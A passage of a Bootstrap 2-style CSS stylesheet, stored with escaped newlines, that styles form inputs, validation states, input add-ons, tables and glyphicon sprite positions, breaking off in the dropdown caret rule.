5px;\n}\n\nselect,\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  display: inline-block;\n  height: 18px;\n  padding: 4px;\n  margin-bottom: 9px;\n  font-size: 13px;\n  line-height: 18px;\n  color: #555555;\n}\n\ninput,\ntextarea {\n  width: 210px;\n}\n\ntextarea {\n  height: auto;\n}\n\ntextarea,\ninput[type=\"text\"],\ninput[type=\"password\"],\ninput[type=\"datetime\"],\ninput[type=\"datetime-local\"],\ninput[type=\"date\"],\ninput[type=\"month\"],\ninput[type=\"time\"],\ninput[type=\"week\"],\ninput[type=\"number\"],\ninput[type=\"email\"],\ninput[type=\"url\"],\ninput[type=\"search\"],\ninput[type=\"tel\"],\ninput[type=\"color\"],\n.uneditable-input {\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n  -webkit-transition: border linear 0.2s, box-shadow linear 0.2s;\n     -moz-transition: border linear 0.2s, box-shadow linear 0.2s;\n      -ms-transition: border linear 0.2s, box-shadow linear 0.2s;\n       -o-transition: border linear 0.2s, box-shadow linear 0.2s;\n          transition: border linear 0.2s, box-shadow linear 0.2s;\n}\n\ntextarea:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"datetime\"]:focus,\ninput[type=\"datetime-local\"]:focus,\ninput[type=\"date\"]:focus,\ninput[type=\"month\"]:focus,\ninput[type=\"time\"]:focus,\ninput[type=\"week\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"email\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"color\"]:focus,\n.uneditable-input:focus {\n  border-color: rgba(82, 168, 236, 0.8);\n  outline: 0;\n  outline: thin dotted \\9;\n  /* IE6-9 */\n\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 3px 0;\n  *margin-top: 0;\n  /* IE7 */\n\n  line-height: normal;\n  cursor: pointer;\n}\n\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"],\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  width: auto;\n}\n\n.uneditable-textarea {\n  width: auto;\n  height: auto;\n}\n\nselect,\ninput[type=\"file\"] {\n  height: 28px;\n  /* In IE7, the height of the select element cannot be changed by height, only font-size */\n\n  *margin-top: 4px;\n  /* For IE7, add top margin to align select with labels */\n\n  line-height: 28px;\n}\n\nselect {\n  width: 220px;\n  border: 1px solid #bbb;\n}\n\nselect[multiple],\nselect[size] {\n  height: auto;\n}\n\nselect:focus,\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.radio,\n.checkbox {\n  min-height: 18px;\n  padding-left: 18px;\n}\n\n.radio input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-left: -18px;\n}\n\n.controls > .radio:first-child,\n.controls > .checkbox:first-child {\n  padding-top: 5px;\n}\n\n.radio.inline,\n.checkbox.inline {\n  display: inline-block;\n  padding-top: 5px;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n\n.radio.inline + .radio.inline,\n.checkbox.inline + .checkbox.inline {\n  margin-left: 10px;\n}\n\n.input-mini {\n  width: 60px;\n}\n\n.input-small {\n  width: 90px;\n}\n\n.input-medium {\n  width: 150px;\n}\n\n.input-large {\n  width: 210px;\n}\n\n.input-xlarge {\n  width: 270px;\n}\n\n.input-xxlarge {\n  width: 530px;\n}\n\ninput[class*=\"span\"],\nselect[class*=\"span\"],\ntextarea[class*=\"span\"],\n.uneditable-input[class*=\"span\"],\n.row-fluid input[class*=\"span\"],\n.row-fluid select[class*=\"span\"],\n.row-fluid textarea[class*=\"span\"],\n.row-fluid .uneditable-input[class*=\"span\"] {\n  float: none;\n  margin-left: 0;\n}\n\n.input-append input[class*=\"span\"],\n.input-append .uneditable-input[class*=\"span\"],\n.input-prepend input[class*=\"span\"],\n.input-prepend .uneditable-input[class*=\"span\"],\n.row-fluid .input-prepend [class*=\"span\"],\n.row-fluid .input-append [class*=\"span\"] {\n  display: inline-block;\n}\n\ninput,\ntextarea,\n.uneditable-input {\n  margin-left: 0;\n}\n\ninput.span12,\ntextarea.span12,\n.uneditable-input.span12 {\n  width: 930px;\n}\n\ninput.span11,\ntextarea.span11,\n.uneditable-input.span11 {\n  width: 850px;\n}\n\ninput.span10,\ntextarea.span10,\n.uneditable-input.span10 {\n  width: 770px;\n}\n\ninput.span9,\ntextarea.span9,\n.uneditable-input.span9 {\n  width: 690px;\n}\n\ninput.span8,\ntextarea.span8,\n.uneditable-input.span8 {\n  width: 610px;\n}\n\ninput.span7,\ntextarea.span7,\n.uneditable-input.span7 {\n  width: 530px;\n}\n\ninput.span6,\ntextarea.span6,\n.uneditable-input.span6 {\n  width: 450px;\n}\n\ninput.span5,\ntextarea.span5,\n.uneditable-input.span5 {\n  width: 370px;\n}\n\ninput.span4,\ntextarea.span4,\n.uneditable-input.span4 {\n  width: 290px;\n}\n\ninput.span3,\ntextarea.span3,\n.uneditable-input.span3 {\n  width: 210px;\n}\n\ninput.span2,\ntextarea.span2,\n.uneditable-input.span2 {\n  width: 130px;\n}\n\ninput.span1,\ntextarea.span1,\n.uneditable-input.span1 {\n  width: 50px;\n}\n\ninput[disabled],\nselect[disabled],\ntextarea[disabled],\ninput[readonly],\nselect[readonly],\ntextarea[readonly] {\n  cursor: not-allowed;\n  background-color: #eeeeee;\n  border-color: #ddd;\n}\n\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"][readonly],\ninput[type=\"checkbox\"][readonly] {\n  background-color: transparent;\n}\n\n.control-group.warning > label,\n.control-group.warning .help-block,\n.control-group.warning .help-inline {\n  color: #c09853;\n}\n\n.control-group.warning .checkbox,\n.control-group.warning .radio,\n.control-group.warning input,\n.control-group.warning select,\n.control-group.warning textarea {\n  color: #c09853;\n  border-color: #c09853;\n}\n\n.control-group.warning .checkbox:focus,\n.control-group.warning .radio:focus,\n.control-group.warning input:focus,\n.control-group.warning select:focus,\n.control-group.warning textarea:focus {\n  border-color: #a47e3c;\n  -webkit-box-shadow: 0 0 6px #dbc59e;\n     -moz-box-shadow: 0 0 6px #dbc59e;\n          box-shadow: 0 0 6px #dbc59e;\n}\n\n.control-group.warning .input-prepend .add-on,\n.control-group.warning .input-append .add-on {\n  color: #c09853;\n  background-color: #fcf8e3;\n  border-color: #c09853;\n}\n\n.control-group.error > label,\n.control-group.error .help-block,\n.control-group.error .help-inline {\n  color: #b94a48;\n}\n\n.control-group.error .checkbox,\n.control-group.error .radio,\n.control-group.error input,\n.control-group.error select,\n.control-group.error textarea {\n  color: #b94a48;\n  border-color: #b94a48;\n}\n\n.control-group.error .checkbox:focus,\n.control-group.error .radio:focus,\n.control-group.error input:focus,\n.control-group.error select:focus,\n.control-group.error textarea:focus {\n  border-color: #953b39;\n  -webkit-box-shadow: 0 0 6px #d59392;\n     -moz-box-shadow: 0 0 6px #d59392;\n          box-shadow: 0 0 6px #d59392;\n}\n\n.control-group.error .input-prepend .add-on,\n.control-group.error .input-append .add-on {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #b94a48;\n}\n\n.control-group.success > label,\n.control-group.success .help-block,\n.control-group.success .help-inline {\n  color: #468847;\n}\n\n.control-group.success .checkbox,\n.control-group.success .radio,\n.control-group.success input,\n.control-group.success select,\n.control-group.success textarea {\n  color: #468847;\n  border-color: #468847;\n}\n\n.control-group.success .checkbox:focus,\n.control-group.success .radio:focus,\n.control-group.success input:focus,\n.control-group.success select:focus,\n.control-group.success textarea:focus {\n  border-color: #356635;\n  -webkit-box-shadow: 0 0 6px #7aba7b;\n     -moz-box-shadow: 0 0 6px #7aba7b;\n          box-shadow: 0 0 6px #7aba7b;\n}\n\n.control-group.success .input-prepend .add-on,\n.control-group.success .input-append .add-on {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #468847;\n}\n\ninput:focus:required:invalid,\ntextarea:focus:required:invalid,\nselect:focus:required:invalid {\n  color: #b94a48;\n  border-color: #ee5f5b;\n}\n\ninput:focus:required:invalid:focus,\ntextarea:focus:required:invalid:focus,\nselect:focus:required:invalid:focus {\n  border-color: #e9322d;\n  -webkit-box-shadow: 0 0 6px #f8b9b7;\n     -moz-box-shadow: 0 0 6px #f8b9b7;\n          box-shadow: 0 0 6px #f8b9b7;\n}\n\n.form-actions {\n  padding: 17px 20px 18px;\n  margin-top: 18px;\n  margin-bottom: 18px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #e5e5e5;\n  *zoom: 1;\n}\n\n.form-actions:before,\n.form-actions:after {\n  display: table;\n  content: \"\";\n}\n\n.form-actions:after {\n  clear: both;\n}\n\n.uneditable-input {\n  overflow: hidden;\n  white-space: nowrap;\n  cursor: not-allowed;\n  background-color: #ffffff;\n  border-color: #eee;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025);\n}\n\n:-moz-placeholder {\n  color: #999999;\n}\n\n:-ms-input-placeholder {\n  color: #999999;\n}\n\n::-webkit-input-placeholder {\n  color: #999999;\n}\n\n.help-block,\n.help-inline {\n  color: #555555;\n}\n\n.help-block {\n  display: block;\n  margin-bottom: 9px;\n}\n\n.help-inline {\n  display: inline-block;\n  *display: inline;\n  padding-left: 5px;\n  vertical-align: middle;\n  *zoom: 1;\n}\n\n.input-prepend,\n.input-append {\n  margin-bottom: 5px;\n}\n\n.input-prepend input,\n.input-append input,\n.input-prepend select,\n.input-append select,\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n  position: relative;\n  margin-bottom: 0;\n  *margin-left: 0;\n  vertical-align: middle;\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.input-prepend input:focus,\n.input-append input:focus,\n.input-prepend select:focus,\n.input-append select:focus,\n.input-prepend .uneditable-input:focus,\n.input-append .uneditable-input:focus {\n  z-index: 2;\n}\n\n.input-prepend .uneditable-input,\n.input-append .uneditable-input {\n  border-left-color: #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on {\n  display: inline-block;\n  width: auto;\n  height: 18px;\n  min-width: 16px;\n  padding: 4px 5px;\n  font-weight: normal;\n  line-height: 18px;\n  text-align: center;\n  text-shadow: 0 1px 0 #ffffff;\n  vertical-align: middle;\n  background-color: #eeeeee;\n  border: 1px solid #ccc;\n}\n\n.input-prepend .add-on,\n.input-append .add-on,\n.input-prepend .btn,\n.input-append .btn {\n  margin-left: -1px;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.input-prepend .active,\n.input-append .active {\n  background-color: #a9dba9;\n  border-color: #46a546;\n}\n\n.input-prepend .add-on,\n.input-prepend .btn {\n  margin-right: -1px;\n}\n\n.input-prepend .add-on:first-child,\n.input-prepend .btn:first-child {\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-append input,\n.input-append select,\n.input-append .uneditable-input {\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-append .uneditable-input {\n  border-right-color: #ccc;\n  border-left-color: #eee;\n}\n\n.input-append .add-on:last-child,\n.input-append .btn:last-child {\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.input-prepend.input-append input,\n.input-prepend.input-append select,\n.input-prepend.input-append .uneditable-input {\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.input-prepend.input-append .add-on:first-child,\n.input-prepend.input-append .btn:first-child {\n  margin-right: -1px;\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.input-prepend.input-append .add-on:last-child,\n.input-prepend.input-append .btn:last-child {\n  margin-left: -1px;\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.search-query {\n  padding-right: 14px;\n  padding-right: 4px \\9;\n  padding-left: 14px;\n  padding-left: 4px \\9;\n  /* IE7-8 doesn't have border-radius, so don't indent the padding */\n\n  margin-bottom: 0;\n  -webkit-border-radius: 14px;\n     -moz-border-radius: 14px;\n          border-radius: 14px;\n}\n\n.form-search input,\n.form-inline input,\n.form-horizontal input,\n.form-search textarea,\n.form-inline textarea,\n.form-horizontal textarea,\n.form-search select,\n.form-inline select,\n.form-horizontal select,\n.form-search .help-inline,\n.form-inline .help-inline,\n.form-horizontal .help-inline,\n.form-search .uneditable-input,\n.form-inline .uneditable-input,\n.form-horizontal .uneditable-input,\n.form-search .input-prepend,\n.form-inline .input-prepend,\n.form-horizontal .input-prepend,\n.form-search .input-append,\n.form-inline .input-append,\n.form-horizontal .input-append {\n  display: inline-block;\n  *display: inline;\n  margin-bottom: 0;\n  *zoom: 1;\n}\n\n.form-search .hide,\n.form-inline .hide,\n.form-horizontal .hide {\n  display: none;\n}\n\n.form-search label,\n.form-inline label {\n  display: inline-block;\n}\n\n.form-search .input-append,\n.form-inline .input-append,\n.form-search .input-prepend,\n.form-inline .input-prepend {\n  margin-bottom: 0;\n}\n\n.form-search .radio,\n.form-search .checkbox,\n.form-inline .radio,\n.form-inline .checkbox {\n  padding-left: 0;\n  margin-bottom: 0;\n  vertical-align: middle;\n}\n\n.form-search .radio input[type=\"radio\"],\n.form-search .checkbox input[type=\"checkbox\"],\n.form-inline .radio input[type=\"radio\"],\n.form-inline .checkbox input[type=\"checkbox\"] {\n  float: left;\n  margin-right: 3px;\n  margin-left: 0;\n}\n\n.control-group {\n  margin-bottom: 9px;\n}\n\nlegend + .control-group {\n  margin-top: 18px;\n  -webkit-margin-top-collapse: separate;\n}\n\n.form-horizontal .control-group {\n  margin-bottom: 18px;\n  *zoom: 1;\n}\n\n.form-horizontal .control-group:before,\n.form-horizontal .control-group:after {\n  display: table;\n  content: \"\";\n}\n\n.form-horizontal .control-group:after {\n  clear: both;\n}\n\n.form-horizontal .control-label {\n  float: left;\n  width: 140px;\n  padding-top: 5px;\n  text-align: right;\n}\n\n.form-horizontal .controls {\n  *display: inline-block;\n  *padding-left: 20px;\n  margin-left: 160px;\n  *margin-left: 0;\n}\n\n.form-horizontal .controls:first-child {\n  *padding-left: 160px;\n}\n\n.form-horizontal .help-block {\n  margin-top: 9px;\n  margin-bottom: 0;\n}\n\n.form-horizontal .form-actions {\n  padding-left: 160px;\n}\n\ntable {\n  max-width: 100%;\n  background-color: transparent;\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\n.table {\n  width: 100%;\n  margin-bottom: 18px;\n}\n\n.table th,\n.table td {\n  padding: 8px;\n  line-height: 18px;\n  text-align: left;\n  vertical-align: top;\n  border-top: 1px solid #dddddd;\n}\n\n.table th {\n  font-weight: bold;\n}\n\n.table thead th {\n  vertical-align: bottom;\n}\n\n.table caption + thead tr:first-child th,\n.table caption + thead tr:first-child td,\n.table colgroup + thead tr:first-child th,\n.table colgroup + thead tr:first-child td,\n.table thead:first-child tr:first-child th,\n.table thead:first-child tr:first-child td {\n  border-top: 0;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dddddd;\n}\n\n.table-condensed th,\n.table-condensed td {\n  padding: 4px 5px;\n}\n\n.table-bordered {\n  border: 1px solid #dddddd;\n  border-collapse: separate;\n  *border-collapse: collapsed;\n  border-left: 0;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border-left: 1px solid #dddddd;\n}\n\n.table-bordered caption + thead tr:first-child th,\n.table-bordered caption + tbody tr:first-child th,\n.table-bordered caption + tbody tr:first-child td,\n.table-bordered colgroup + thead tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child td,\n.table-bordered thead:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child td {\n  border-top: 0;\n}\n\n.table-bordered thead:first-child tr:first-child th:first-child,\n.table-bordered tbody:first-child tr:first-child td:first-child {\n  -webkit-border-top-left-radius: 4px;\n          border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n}\n\n.table-bordered thead:first-child tr:first-child th:last-child,\n.table-bordered tbody:first-child tr:first-child td:last-child {\n  -webkit-border-top-right-radius: 4px;\n          border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:first-child,\n.table-bordered tbody:last-child tr:last-child td:first-child {\n  -webkit-border-radius: 0 0 0 4px;\n     -moz-border-radius: 0 0 0 4px;\n          border-radius: 0 0 0 4px;\n  -webkit-border-bottom-left-radius: 4px;\n          border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n}\n\n.table-bordered thead:last-child tr:last-child th:last-child,\n.table-bordered tbody:last-child tr:last-child td:last-child {\n  -webkit-border-bottom-right-radius: 4px;\n          border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n}\n\n.table-striped tbody tr:nth-child(odd) td,\n.table-striped tbody tr:nth-child(odd) th {\n  background-color: #f9f9f9;\n}\n\n.table tbody tr:hover td,\n.table tbody tr:hover th {\n  background-color: #f5f5f5;\n}\n\ntable .span1 {\n  float: none;\n  width: 44px;\n  margin-left: 0;\n}\n\ntable .span2 {\n  float: none;\n  width: 124px;\n  margin-left: 0;\n}\n\ntable .span3 {\n  float: none;\n  width: 204px;\n  margin-left: 0;\n}\n\ntable .span4 {\n  float: none;\n  width: 284px;\n  margin-left: 0;\n}\n\ntable .span5 {\n  float: none;\n  width: 364px;\n  margin-left: 0;\n}\n\ntable .span6 {\n  float: none;\n  width: 444px;\n  margin-left: 0;\n}\n\ntable .span7 {\n  float: none;\n  width: 524px;\n  margin-left: 0;\n}\n\ntable .span8 {\n  float: none;\n  width: 604px;\n  margin-left: 0;\n}\n\ntable .span9 {\n  float: none;\n  width: 684px;\n  margin-left: 0;\n}\n\ntable .span10 {\n  float: none;\n  width: 764px;\n  margin-left: 0;\n}\n\ntable .span11 {\n  float: none;\n  width: 844px;\n  margin-left: 0;\n}\n\ntable .span12 {\n  float: none;\n  width: 924px;\n  margin-left: 0;\n}\n\ntable .span13 {\n  float: none;\n  width: 1004px;\n  margin-left: 0;\n}\n\ntable .span14 {\n  float: none;\n  width: 1084px;\n  margin-left: 0;\n}\n\ntable .span15 {\n  float: none;\n  width: 1164px;\n  margin-left: 0;\n}\n\ntable .span16 {\n  float: none;\n  width: 1244px;\n  margin-left: 0;\n}\n\ntable .span17 {\n  float: none;\n  width: 1324px;\n  margin-left: 0;\n}\n\ntable .span18 {\n  float: none;\n  width: 1404px;\n  margin-left: 0;\n}\n\ntable .span19 {\n  float: none;\n  width: 1484px;\n  margin-left: 0;\n}\n\ntable .span20 {\n  float: none;\n  width: 1564px;\n  margin-left: 0;\n}\n\ntable .span21 {\n  float: none;\n  width: 1644px;\n  margin-left: 0;\n}\n\ntable .span22 {\n  float: none;\n  width: 1724px;\n  margin-left: 0;\n}\n\ntable .span23 {\n  float: none;\n  width: 1804px;\n  margin-left: 0;\n}\n\ntable .span24 {\n  float: none;\n  width: 1884px;\n  margin-left: 0;\n}\n\n[class^=\"icon-\"],\n[class*=\" icon-\"] {\n  display: inline-block;\n  width: 14px;\n  height: 14px;\n  *margin-right: .3em;\n  line-height: 14px;\n  vertical-align: text-top;\n  background-image: url(\"../img/glyphicons-halflings.png\");\n  background-position: 14px 14px;\n  background-repeat: no-repeat;\n}\n\n[class^=\"icon-\"]:last-child,\n[class*=\" icon-\"]:last-child {\n  *margin-left: 0;\n}\n\n.icon-white {\n  background-image: url(\"../img/glyphicons-halflings-white.png\");\n}\n\n.icon-glass {\n  background-position: 0      0;\n}\n\n.icon-music {\n  background-position: -24px 0;\n}\n\n.icon-search {\n  background-position: -48px 0;\n}\n\n.icon-envelope {\n  background-position: -72px 0;\n}\n\n.icon-heart {\n  background-position: -96px 0;\n}\n\n.icon-star {\n  background-position: -120px 0;\n}\n\n.icon-star-empty {\n  background-position: -144px 0;\n}\n\n.icon-user {\n  background-position: -168px 0;\n}\n\n.icon-film {\n  background-position: -192px 0;\n}\n\n.icon-th-large {\n  background-position: -216px 0;\n}\n\n.icon-th {\n  background-position: -240px 0;\n}\n\n.icon-th-list {\n  background-position: -264px 0;\n}\n\n.icon-ok {\n  background-position: -288px 0;\n}\n\n.icon-remove {\n  background-position: -312px 0;\n}\n\n.icon-zoom-in {\n  background-position: -336px 0;\n}\n\n.icon-zoom-out {\n  background-position: -360px 0;\n}\n\n.icon-off {\n  background-position: -384px 0;\n}\n\n.icon-signal {\n  background-position: -408px 0;\n}\n\n.icon-cog {\n  background-position: -432px 0;\n}\n\n.icon-trash {\n  background-position: -456px 0;\n}\n\n.icon-home {\n  background-position: 0 -24px;\n}\n\n.icon-file {\n  background-position: -24px -24px;\n}\n\n.icon-time {\n  background-position: -48px -24px;\n}\n\n.icon-road {\n  background-position: -72px -24px;\n}\n\n.icon-download-alt {\n  background-position: -96px -24px;\n}\n\n.icon-download {\n  background-position: -120px -24px;\n}\n\n.icon-upload {\n  background-position: -144px -24px;\n}\n\n.icon-inbox {\n  background-position: -168px -24px;\n}\n\n.icon-play-circle {\n  background-position: -192px -24px;\n}\n\n.icon-repeat {\n  background-position: -216px -24px;\n}\n\n.icon-refresh {\n  background-position: -240px -24px;\n}\n\n.icon-list-alt {\n  background-position: -264px -24px;\n}\n\n.icon-lock {\n  background-position: -287px -24px;\n}\n\n.icon-flag {\n  background-position: -312px -24px;\n}\n\n.icon-headphones {\n  background-position: -336px -24px;\n}\n\n.icon-volume-off {\n  background-position: -360px -24px;\n}\n\n.icon-volume-down {\n  background-position: -384px -24px;\n}\n\n.icon-volume-up {\n  background-position: -408px -24px;\n}\n\n.icon-qrcode {\n  background-position: -432px -24px;\n}\n\n.icon-barcode {\n  background-position: -456px -24px;\n}\n\n.icon-tag {\n  background-position: 0 -48px;\n}\n\n.icon-tags {\n  background-position: -25px -48px;\n}\n\n.icon-book {\n  background-position: -48px -48px;\n}\n\n.icon-bookmark {\n  background-position: -72px -48px;\n}\n\n.icon-print {\n  background-position: -96px -48px;\n}\n\n.icon-camera {\n  background-position: -120px -48px;\n}\n\n.icon-font {\n  background-position: -144px -48px;\n}\n\n.icon-bold {\n  background-position: -167px -48px;\n}\n\n.icon-italic {\n  background-position: -192px -48px;\n}\n\n.icon-text-height {\n  background-position: -216px -48px;\n}\n\n.icon-text-width {\n  background-position: -240px -48px;\n}\n\n.icon-align-left {\n  background-position: -264px -48px;\n}\n\n.icon-align-center {\n  background-position: -288px -48px;\n}\n\n.icon-align-right {\n  background-position: -312px -48px;\n}\n\n.icon-align-justify {\n  background-position: -336px -48px;\n}\n\n.icon-list {\n  background-position: -360px -48px;\n}\n\n.icon-indent-left {\n  background-position: -384px -48px;\n}\n\n.icon-indent-right {\n  background-position: -408px -48px;\n}\n\n.icon-facetime-video {\n  background-position: -432px -48px;\n}\n\n.icon-picture {\n  background-position: -456px -48px;\n}\n\n.icon-pencil {\n  background-position: 0 -72px;\n}\n\n.icon-map-marker {\n  background-position: -24px -72px;\n}\n\n.icon-adjust {\n  background-position: -48px -72px;\n}\n\n.icon-tint {\n  background-position: -72px -72px;\n}\n\n.icon-edit {\n  background-position: -96px -72px;\n}\n\n.icon-share {\n  background-position: -120px -72px;\n}\n\n.icon-check {\n  background-position: -144px -72px;\n}\n\n.icon-move {\n  background-position: -168px -72px;\n}\n\n.icon-step-backward {\n  background-position: -192px -72px;\n}\n\n.icon-fast-backward {\n  background-position: -216px -72px;\n}\n\n.icon-backward {\n  background-position: -240px -72px;\n}\n\n.icon-play {\n  background-position: -264px -72px;\n}\n\n.icon-pause {\n  background-position: -288px -72px;\n}\n\n.icon-stop {\n  background-position: -312px -72px;\n}\n\n.icon-forward {\n  background-position: -336px -72px;\n}\n\n.icon-fast-forward {\n  background-position: -360px -72px;\n}\n\n.icon-step-forward {\n  background-position: -384px -72px;\n}\n\n.icon-eject {\n  background-position: -408px -72px;\n}\n\n.icon-chevron-left {\n  background-position: -432px -72px;\n}\n\n.icon-chevron-right {\n  background-position: -456px -72px;\n}\n\n.icon-plus-sign {\n  background-position: 0 -96px;\n}\n\n.icon-minus-sign {\n  background-position: -24px -96px;\n}\n\n.icon-remove-sign {\n  background-position: -48px -96px;\n}\n\n.icon-ok-sign {\n  background-position: -72px -96px;\n}\n\n.icon-question-sign {\n  background-position: -96px -96px;\n}\n\n.icon-info-sign {\n  background-position: -120px -96px;\n}\n\n.icon-screenshot {\n  background-position: -144px -96px;\n}\n\n.icon-remove-circle {\n  background-position: -168px -96px;\n}\n\n.icon-ok-circle {\n  background-position: -192px -96px;\n}\n\n.icon-ban-circle {\n  background-position: -216px -96px;\n}\n\n.icon-arrow-left {\n  background-position: -240px -96px;\n}\n\n.icon-arrow-right {\n  background-position: -264px -96px;\n}\n\n.icon-arrow-up {\n  background-position: -289px -96px;\n}\n\n.icon-arrow-down {\n  background-position: -312px -96px;\n}\n\n.icon-share-alt {\n  background-position: -336px -96px;\n}\n\n.icon-resize-full {\n  background-position: -360px -96px;\n}\n\n.icon-resize-small {\n  background-position: -384px -96px;\n}\n\n.icon-plus {\n  background-position: -408px -96px;\n}\n\n.icon-minus {\n  background-position: -433px -96px;\n}\n\n.icon-asterisk {\n  background-position: -456px -96px;\n}\n\n.icon-exclamation-sign {\n  background-position: 0 -120px;\n}\n\n.icon-gift {\n  background-position: -24px -120px;\n}\n\n.icon-leaf {\n  background-position: -48px -120px;\n}\n\n.icon-fire {\n  background-position: -72px -120px;\n}\n\n.icon-eye-open {\n  background-position: -96px -120px;\n}\n\n.icon-eye-close {\n  background-position: -120px -120px;\n}\n\n.icon-warning-sign {\n  background-position: -144px -120px;\n}\n\n.icon-plane {\n  background-position: -168px -120px;\n}\n\n.icon-calendar {\n  background-position: -192px -120px;\n}\n\n.icon-random {\n  background-position: -216px -120px;\n}\n\n.icon-comment {\n  background-position: -240px -120px;\n}\n\n.icon-magnet {\n  background-position: -264px -120px;\n}\n\n.icon-chevron-up {\n  background-position: -288px -120px;\n}\n\n.icon-chevron-down {\n  background-position: -313px -119px;\n}\n\n.icon-retweet {\n  background-position: -336px -120px;\n}\n\n.icon-shopping-cart {\n  background-position: -360px -120px;\n}\n\n.icon-folder-close {\n  background-position: -384px -120px;\n}\n\n.icon-folder-open {\n  background-position: -408px -120px;\n}\n\n.icon-resize-vertical {\n  background-position: -432px -119px;\n}\n\n.icon-resize-horizontal {\n  background-position: -456px -118px;\n}\n\n.icon-hdd {\n  background-position: 0 -144px;\n}\n\n.icon-bullhorn {\n  background-position: -24px -144px;\n}\n\n.icon-bell {\n  background-position: -48px -144px;\n}\n\n.icon-certificate {\n  background-position: -72px -144px;\n}\n\n.icon-thumbs-up {\n  background-position: -96px -144px;\n}\n\n.icon-thumbs-down {\n  background-position: -120px -144px;\n}\n\n.icon-hand-right {\n  background-position: -144px -144px;\n}\n\n.icon-hand-left {\n  background-position: -168px -144px;\n}\n\n.icon-hand-up {\n  background-position: -192px -144px;\n}\n\n.icon-hand-down {\n  background-position: -216px -144px;\n}\n\n.icon-circle-arrow-right {\n  background-position: -240px -144px;\n}\n\n.icon-circle-arrow-left {\n  background-position: -264px -144px;\n}\n\n.icon-circle-arrow-up {\n  background-position: -288px -144px;\n}\n\n.icon-circle-arrow-down {\n  background-position: -312px -144px;\n}\n\n.icon-globe {\n  background-position: -336px -144px;\n}\n\n.icon-wrench {\n  background-position: -360px -144px;\n}\n\n.icon-tasks {\n  background-position: -384px -144px;\n}\n\n.icon-filter {\n  background-position: -408px -144px;\n}\n\n.icon-briefcase {\n  background-position: -432px -144px;\n}\n\n.icon-fullscreen {\n  background-position: -456px -144px;\n}\n\n.dropup,\n.dropdown {\n  position: relative;\n}\n\n.dropdown-toggle {\n  *margin-bottom: -3px;\n}\n\n.dropdown-toggle:active,\n.open .dropdown-toggle {\n  outline: 0;\n}\n\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  vertical-align: top;\n  border-top: 